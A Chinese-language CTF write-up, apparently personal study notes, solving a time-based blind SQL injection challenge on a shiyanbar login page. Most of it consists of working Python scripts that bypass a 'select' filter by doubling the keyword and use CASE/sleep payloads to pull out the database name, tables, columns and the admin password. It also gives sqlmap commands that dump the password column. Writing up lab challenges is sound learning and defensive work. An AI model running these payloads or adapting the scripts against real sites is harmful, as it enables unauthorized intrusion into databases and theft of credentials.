1.拿到题目我先试一下admin密码随便给我们返回一下信息。
2.接着我们随便输入一个用户名,显示数据库错误。我们又随便输入了一个账户,同样也是显示数据库连接错误,所以我们猜测用户名只能是admin。
注入点应该是admin字段,测试一下过滤,试了一下?admin=admin’ union select 1,2,3 --+&pass=admin&action=login,发现过滤了select,我们双写select依旧没有爆出数据库什么的,所以我们想到了延时注入。
**
延时注入脚本:
**
1.爆出数据库名字
import requests
playloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}*'
databasename=''
for i in range(1,13):
for playload in playloads:
url="http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(database(),%s,1)='%s') then sleep(10) else 1 end or '1'='0&pass=admin&action=login"%(i,playload)
try:
print("正在测是第%d个字符是否为'%s'"%(i,playload))
r=requests.get(url,timeout=4)
except:
databasename+=playload
print("数据库名字是%s"%databasename)
break
print(databasename)
脚本解释:
url="http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(database(),%s,1)='%s') then sleep(10) else 1 end or '1'='0&pass=admin&action=login"%(i,playload)
case语句的意思就是当when中的条件成立的时候我们执行then后面的如果不成立我们执行else(个人感觉很简单毕竟是学过c++了。。。。。。。。。。)。我们分两种情况:
第一:如果when中成立执行sleep,也就是 admin’ and sleep(10) or ‘1’=’,这里要注意sleep执行之后返回给false也就是0,admin肯定是成立的也就是1,即(1 and 0 or 0 )=0意味着语句不成立,既然语句不成立也就意味着我们猜对了数据库名字,语句不成立我们以get方式发送包就不成立就会出现异常,就会执行except模块,也就是打印出数据库名字。
第二:when中不成立也就是说执行1,即 (1 and 1 or 0)=1,会执行try语句,正常发包
综上我们得出了数据库的名字。
**
2.爆出表名字
**
import requests
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}*'
tablename=[]
for i in range(0,5):
name=''
flag2=0
for col in range(1,11):
flag=0
for payload in payloads:
url = "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin' and case when(substr((seleselectct table_name from information_schema.tables where table_schema='test' limit 1 offset %d),%d,1)='%s') then sleep(5) else 1 end or '1'='0" %(i,col,payload)
try:
print(url)
r=requests.get(url,timeout=4)
except:
flag=1
flag2=1
name +=payload
print("第%d表的名字为%s"%(i+1,name))
break
if flag==0:
break
if(flag2==0):
break
tablename.append(name)
for a in range(len(tablename)):
print(tablename[a])
脚本解释:
(说实话对于有些大佬来说一看就会但是我觉得我还是做个笔记来学习一下)
1.一开始的时候并没有写flag、flag2着两个变量,但是后来发现爆不出表名字,在这里解释一下,总的来说呢这个脚本有三个循环:
循环表
循环表名字的个数
循环表每个位置的字母数字等等
比如:
i=1第一个表
col=1第一个表的第一个字段
payload是指第一个字段的字母(在这里我们的字段是大小写字母数字还有特殊字符)
如果我们sql语句猜对了对应的字母(即sql语句执行不成功,为什么不成功我们在第一脚本已经说了),在这里我们还是分两步:
第一步:
我们在第三个循环中没有猜到正确的字段,所以不会执行except也就是说flag和flag2依旧为0,所以第二个、第一个循环都会结束,也就是说我们第一个表没有猜到,接下来接着猜第二个表依旧是第一个循环开始第二个开始。。。。。
第二步:
在except中我们把flag、flag2置为1的目的就是为了当我们在猜到正确的字段的时候结束第三个循环,但是不执行if flag==0;也就不会执行if的break,所以会接着执行第二个循环开始猜测表的第二个字段。在我们把第一个字段都猜完毕之后,会反过来猜第二个表的字段。
这里我还是在这讲一下写脚本遇到过的问题:
以下两者是对应的:
for i in range(0,5):
limit 1 offset %d)
我在写脚本的过程中把range改成了(1,6),按照python的语法这两个是相等的,但是我执行脚本之后出现了一下反映:
并没有爆出表的名称,按理来说第一个表不应该是admin吗?后来我发现问题出现在limit offset这里。
我们先解释一下:
select * from table limit 2,1;
//跳过2条取出1条数据,limit后面是从第2条开始读,读取1条信息,即读取第3条数据
select * from table limit 2 offset 1;
//从第1条(不包括)数据开始取出2条数据,limit后面跟的是2条数据,offset后面是从第1条开始读取,即读取第2,3条
按照我们第一次的写法应该是:
limit 1 offset 0:从第0个表取出一个表,也就是去除第一个表
按照我们第二个写法应该是:
limit 1 offset 1:从第一个表中取出一个表,也就是第二个表。从上图可以看出我们并没有打印出第二个表(在后面我会讲解一下sqlmap的用法,从sqlmap中我们可以看到test数据只有一个admin表)
然后我又把第二个循环改掉了改成了range(0,10),但是依旧没有得到结果我上百度查了一下mysql中的substr:
所以要注意php中的substr和mysql中的substr是不一样的。
3.爆出字段名字:
import requests
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}*'
columnname=[]
for i in range(0,5):
column=""
flag2=0
for col in range(1,11):
flag=0
for payload in payloads:
url = "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin' and case when(substr((seleselectct column_name from information_schema.columns where table_name='admin' limit 1 offset %d),%d,1)='%s') then sleep(5) else 1 end or '1'='0"%(i,col,payload)
try:
print(url)
r=requests.get(url,timeout=3)
except:
flag=1
flag2=1
column+=payload
print("第%d个字段的名字为%s"%(i+1,column))
break
if flag==0:
break
if (flag2==0):
break
columnname.append(column)
for a in range(len(columnname)):
print(columnname[a])
4.爆出最终结果:
import requests
import string
gress=string.ascii_lowercase+string.ascii_uppercase+string.punctuation+string.digits
databaseName=''
for i in range(1, 16): #假设库名长度为15
for playload in gress:
url = "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin' and case when(substr((seleselectct password from admin),%d,1)='%s') then sleep(5) else 1 end or '1'='0" %(i,playload)
try:
print("正在测试第%d个字符是否为'%s'"%(i,playload))
r = requests.get(url,timeout=4)
except:
suo=0
databaseName+=playload
print("内容为是%s"%databaseName)
break
print(databaseName)
**
sqlmap,简单明了
**
sqlmap.py -u "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin"
sqlmap.py -u "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin" --dbs
sqlmap.py -u "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin" --tables -D "test"
sqlmap.py -u "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin" --columns -T "admin" -D "test"
sqlmap.py -u "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin" --dump -C "password" -T "admin" -D "test"